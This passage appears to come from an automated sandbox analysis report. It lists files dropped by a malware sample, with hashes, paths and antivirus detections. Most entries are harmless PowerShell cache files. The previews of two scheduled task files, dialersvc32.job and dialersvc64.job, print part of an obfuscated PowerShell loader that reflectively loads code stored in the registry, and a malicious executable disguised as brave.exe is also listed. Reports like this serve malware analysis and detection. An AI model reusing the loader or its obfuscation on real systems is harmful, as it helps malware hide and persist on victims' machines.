Entropy (8bit):	5.056950507557673
Encrypted:	false
SSDEEP:	768:sWiUpH4PaFCTrYozhuohNZjfrRJPFhtAHkUwa59yFNef66h4iUxhGV3IpNBQkj2b:TiUpH4P6CvYozhHflJdhtAHk3a59yFNi
MD5:	E8908459F749880853BBB08FD7941054
SHA1:	B8CA8ACA407DF689AC99956344ECCC84BBE94971
SHA-256:	411F5E225D67EE87840C7B1D9FC39505DFD61B71449FB993C25D6174CD12E37C
SHA-512:	3B7D39C19BB717B8FECB3ECC73B6C49D13741E9C2F7684158230F098671C66F033ABA73E2822000BB6F01E09C4EB0452CD66C477F756E190972C06C7C87DA10C
Malicious:	false
Preview:	PSMODULECACHE.>...d......S...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetConnection\NetConnection.psd1........Get-NetConnectionProfile........Set-NetConnectionProfile..............K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PnpDevice\PnpDevice.psd1........Enable-PnpDevice........Disable-PnpDevice........Get-PnpDevice........Get-PnpDeviceProperty........_.>....?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PKI\PKI.psd1........Export-Certificate........Get-CertificateNotificationTask........Get-PfxData........New-CertificateNotificationTask........Import-PfxCertificate....#...Set-CertificateAutoEnrollmentPolicy........Export-PfxCertificate........New-SelfSignedCertificate........Switch-Certificate....%...Get-CertificateEnrollmentPolicyServer....%...Add-CertificateEnrollmentPolicyServer....(...Remove-CertificateEnrollmentPolicyServer........Import-Certificate........Test-Certificate........Get-Certificate...."...Remove-CertificateNotificationTask....#...Ge

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20860
Entropy (8bit):	5.588085900845451
Encrypted:	false
SSDEEP:	384:Zt3RQF31I09oC+RnYSjnEjulPbsl9q1YKAmyLqeAHVKB3WGzuUzvs++ZYX:+FFIYsYoEClQOiFGuv1NX
MD5:	A24ACBE4A5177D83B5F5110A236310AD
SHA1:	6BA8EB24471F05DA3A29ECB25459849258080950
SHA-256:	77E83C04F454ED29F0A1469F48103B1FBE0F01F61A676372D26E6804867A8AA7
SHA-512:	4A7BF9CD1709082DB9171B24289B0D10AB55916795DB174EE7D276E070B870D17D0A7FC90CC7DE0C305287F542F1D313A4B472B0026E66EB4C0E0A0689C94B26
Malicious:	false
Preview:	@...e...........?.........t..........................@..........H...............<@.^.L."My...:P..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..4....................].D.E.....#.......System.Data.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServicesH................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.P...............-K..s.F...]`.,j.....(.Microsoft.PowerShell.Commands.ManagementT................7.,.fiD...............Microsoft.Management.Inf

C:\Users\user\AppData\Local\Temp\E552.tmp

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	335360
Entropy (8bit):	7.548086611496671
Encrypted:	false
SSDEEP:	6144:RBx7z3Bre16M01nguKBmmlbvx0zKGkl5EiCtuhNjtANJ4tDWhRaitlopYR:RnBreIfKNJVZotuhNZKxrYpI
MD5:	DA87A0A2ABA605908BF8B9A3F4377481
SHA1:	5CAC4EA0B3F0CC2D7C04655DB12AD0443CBAA5CF
SHA-256:	22EE7B8104599B47313195598FFC34AAFD6A6552DCCE0E7B3232CED3A90AC9A4
SHA-512:	55A8A27A013CB2C3DEDA81779D89AB956A5F57D00A155496ABC7BF3C5A87F3B7C41058AB3681CBBD0406F69EA01C4FFC3E5779C2CA676088A68CB87F19C34C28
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$..........;..eh..eh..eh.fi..eh.`iS.eh..`i..eh..ai..eh..fi..eh.ai..eh.di..eh..dhE.eh^.li..eh^..h..eh...h..eh^.gi..ehRich..eh........PE..d......b.........."..........n......D..........@.............................`............`..................................................e..P...............(............P..d....Q..p............................P..@...............x............................text...0........................... ..`.rdata.............................@..@.data...X....p.......`..............@....pdata..(............l..............@..@_RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..d....P......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04etki4r.dp5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3btt4i0w.0q5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_430l123u.gtl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4esnphgw.lv3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpif2agm.2fo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csdmtwsq.k2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gzwi51nb.mf4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzr1sysn.wgo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njfnfl0s.50v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pr55lg03.tor.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_srpohddb.bdr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uorj3ibv.uop.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vc1ytcna.jju.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyr1x0hc.qok.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\GoogleUpdate.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	154456
Entropy (8bit):	5.948865342404173
Encrypted:	false
SSDEEP:	3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5:	9A66A3DE2589F7108426AF37AB7F6B41
SHA1:	12950D906FF703F3A1E0BD973FCA2B433E5AB207
SHA-256:	A913415626433D5D0F07D3EC4084A67FF6F5138C3C3F64E36DD0C1AE4C423C65
SHA-512:	A4E81BFFBFA4D3987A8C10CEC5673FD0C8AECBB96104253731BFCAB645090E631786FF7BDE78607CBB2D242EE62051D41658059FCBBC4990C40DBB0FEC66FCD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....cg.}....ce......cd.o......f......e......^....cy.z...w...........v.....i.v...w...M.......v...Richw...........................PE..L.....u`............................Bt.......0....@..........................`......g.....@.................................LQ..x....`..P............&..X5...P.......[..T............................[..@............P..H............................text...T........................... ..`.data........0......."..............@....idata.......P.......*..............@..@.rsrc...P....`.......4..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	17980
Entropy (8bit):	5.441256158422124
Encrypted:	false
SSDEEP:	384:cteJGhGbXA820yZSVZ4QAaSrCQfnfctDXyYb:Qa23UCQjSrCM8b
MD5:	5A4C92A79FA118BBACF6E2F70F3F4CE1
SHA1:	3F5C5E2D6B1625A616DDC833A6EDAF082A3D7AEB
SHA-256:	D4F6896992DA87CE73CE0715DA61AD1B427090B94182485A308EA00266327EFA
SHA-512:	E18F379C7D259D8CFB80C481D2881B5C31EF76AF7F671DED17E62E2517F39C86DFDEE28B781CA0E25688C5207C16CF2A508E8257CC6E864761854B755209075A
Malicious:	false
Preview:	@...e...........B...............................................H...............<@.^.L."My...:'..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.............System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11606
Entropy (8bit):	4.883977562702998
Encrypted:	false
SSDEEP:	192:Axoe5FpOMxoe5Pib4GVsm5emdKVFn3eGOVpN6K3bkkjo5HgkjDt4iWN3yBGHh9sO:6fib4GGVoGIpN6KQkj2Akjh4iUxs14fr
MD5:	1F1446CE05A385817C3EF20CBD8B6E6A
SHA1:	1E4B1EE5EFCA361C9FB5DC286DD7A99DEA31F33D
SHA-256:	2BCEC12B7B67668569124FED0E0CEF2C1505B742F7AE2CF86C8544D07D59F2CE
SHA-512:	252AD962C0E8023419D756A11F0DDF2622F71CBC9DAE31DC14D9C400607DF43030E90BCFBF2EE9B89782CC952E8FB2DADD7BDBBA3D31E33DA5A589A76B87C514
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	5.303256077534299
Encrypted:	false
SSDEEP:	24:3aBPpQrLAo4KAxX5qRPD42HZFe9t4CvKuKnKJJxb:qBPerB4nqRL/HZFe9t4Cv94arb
MD5:	881024516CBE7AEFA030EE5866CF93A0
SHA1:	875007370CE79BC3D89D5BAFFB1CE0F3E83791A4
SHA-256:	B36330DB3D60914058B0D0B5F4DD1B4CED7F45171034471CC63376C7079F59A4
SHA-512:	4EDD1FF0C10D5A22FAFF9FEA3451A870A2937511B96A54D78B308ED20B91ABA1CCFBC868E5559C3CA504C0DA38BAD6F6A8052E0932C2878D4661C65CC3F7E071
Malicious:	false
Preview:	@...e...........................................................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\Tasks\dialersvc32.job

Download File

Process:	C:\Windows\System32\dialer.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	3.7356801743406836
Encrypted:	false
SSDEEP:	24:S8zK5tG3HPnyff86avRYYKaHYb6sCbaHKBlcwPN0+svKz8:Su/6ahTGC2rS
MD5:	B753F4447CF203976DBC5E324EDC95B2
SHA1:	DFEE12F807CAE89CD608E9A3D618C080D0ECD740
SHA-256:	918314A977707D78F05E55FDE80AB999BAB400034D1EEA82E562CA05611F5AE1
SHA-512:	2A19F11EE7E66357B06E910B61812E5EC7270D44BA43BFBAD65B3CA0478AD7CB0FDDF01041B7DF1C93D66CBE04902742B5A7E4647927308D4060406D89C2A1E4
Malicious:	false
Preview:	.....H.6.,M@.w...'.F.P.....<... .....s.................................p.o.w.e.r.s.h.e.l.l...-."...(.\.".{.1.}.{.0.}.\.". .-.f. .'.e.T.'.,.'.S.'.). . .(.\.".6.T.\.".+.\.".o.\.".). . .(.[.t.Y.p.E.].(.\.".{.2.}.{.0.}.{.4.}.{.1.}.{.3.}.\.". .-.F.'.e.'.,.'.m.B.L.'.,.'.r.e.f.l.'.,.'.y.'.,.'.c.t.i.O.n...A.s.S.e.'.). . .). . .;. .$.D.l.r.4.S. .=. . .[.t.y.P.e.].(.\.".{.3.}.{.1.}.{.2.}.{.4.}.{.0.}.\.".-.F.'.R.y.'.,.'.o.S.O.f.T...W.'.,.'.i.N.3.2...R.'.,.'.M.I.C.R.'.,.'.e.G.i.S.T.'.). . .;. . .$.6.T.O.:.:.(.\.".{.0.}.{.1.}.\.". .-.f. .'.L.'.,.'.o.a.d.'.)...I.n.v.o.k.e.(. . .(...(.\.".{.1.}.{.2.}.{.0.}.\.". .-.f. .'.t.-.I.t.e.m.'.,.'.g.'.,.'.e.'.). .(.\.".v.A.R.I.\.".+.\.".A.b.\.".+.\.".l.E.\.".+.\.".:.D.l.R.4.S.\.".). . .)...\.".V.A.`.l.u.E.\.".:.:.\.".l.O.c.`.A.L.M.`.A.C.h.i.n.e.\."...(.\.".{.2.}.{.1.}.{.0.}.\.". .-.f. .'.e.y.'.,.'.u.b.k.'.,.'.O.p.e.n.S.'.)...I.n.v.o.k.e.(.(.\.".{.1.}.{.0.}.\.".-.f.'.E.'.,.'.S.O.F.T.W.A.R.'.).)...(.\.".{.1.}.{.0.}.{.2.}.\.". .-.f.'.u.'.,.'.G.e.t.V.a.l.'.,.'.e.

C:\Windows\Tasks\dialersvc64.job

Download File

Process:	C:\Windows\System32\dialer.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	3.715215952841895
Encrypted:	false
SSDEEP:	24:E8zK5tG3HPnyff86avRYYKaHYb6sCbaHKBlcwPNdz8:Eu/6ahTGCn
MD5:	C09A295E90A22FDBB2B999726A0E4975
SHA1:	0326E869C6A92BA16464E5E77257F73DADDF9A18
SHA-256:	76E753967C812AC7905FC3D24932C23C31AAEDEBE5C0D6489526602320374856
SHA-512:	10CE7C5C22DD317F6F4914F4F53B6CDDE55E553BD0D40D21D47ECEC361493F292856D7A02431821170F7E1AB465B77613A388BF42DBA83C894538F8089BFEA9B
Malicious:	false
Preview:	.....b5....H......g1F.......<... .....s.................................p.o.w.e.r.s.h.e.l.l...-."...(.\.".{.1.}.{.0.}.\.". .-.f. .'.e.T.'.,.'.S.'.). . .(.\.".6.T.\.".+.\.".o.\.".). . .(.[.t.Y.p.E.].(.\.".{.2.}.{.0.}.{.4.}.{.1.}.{.3.}.\.". .-.F.'.e.'.,.'.m.B.L.'.,.'.r.e.f.l.'.,.'.y.'.,.'.c.t.i.O.n...A.s.S.e.'.). . .). . .;. .$.D.l.r.4.S. .=. . .[.t.y.P.e.].(.\.".{.3.}.{.1.}.{.2.}.{.4.}.{.0.}.\.".-.F.'.R.y.'.,.'.o.S.O.f.T...W.'.,.'.i.N.3.2...R.'.,.'.M.I.C.R.'.,.'.e.G.i.S.T.'.). . .;. . .$.6.T.O.:.:.(.\.".{.0.}.{.1.}.\.". .-.f. .'.L.'.,.'.o.a.d.'.)...I.n.v.o.k.e.(. . .(...(.\.".{.1.}.{.2.}.{.0.}.\.". .-.f. .'.t.-.I.t.e.m.'.,.'.g.'.,.'.e.'.). .(.\.".v.A.R.I.\.".+.\.".A.b.\.".+.\.".l.E.\.".+.\.".:.D.l.R.4.S.\.".). . .)...\.".V.A.`.l.u.E.\.".:.:.\.".l.O.c.`.A.L.M.`.A.C.h.i.n.e.\."...(.\.".{.2.}.{.1.}.{.0.}.\.". .-.f. .'.e.y.'.,.'.u.b.k.'.,.'.O.p.e.n.S.'.)...I.n.v.o.k.e.(.(.\.".{.1.}.{.0.}.\.".-.f.'.E.'.,.'.S.O.F.T.W.A.R.'.).)...(.\.".{.1.}.{.0.}.{.2.}.\.". .-.f.'.u.'.,.'.G.e.t.V.a.l.'.,.'.e.

C:\Windows\Temp\__PSScriptPolicyTest_a4plff0r.g4b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_cct0wkdo.1qt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_vjrbc4di.zwe.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_x2gzwtrc.ntk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
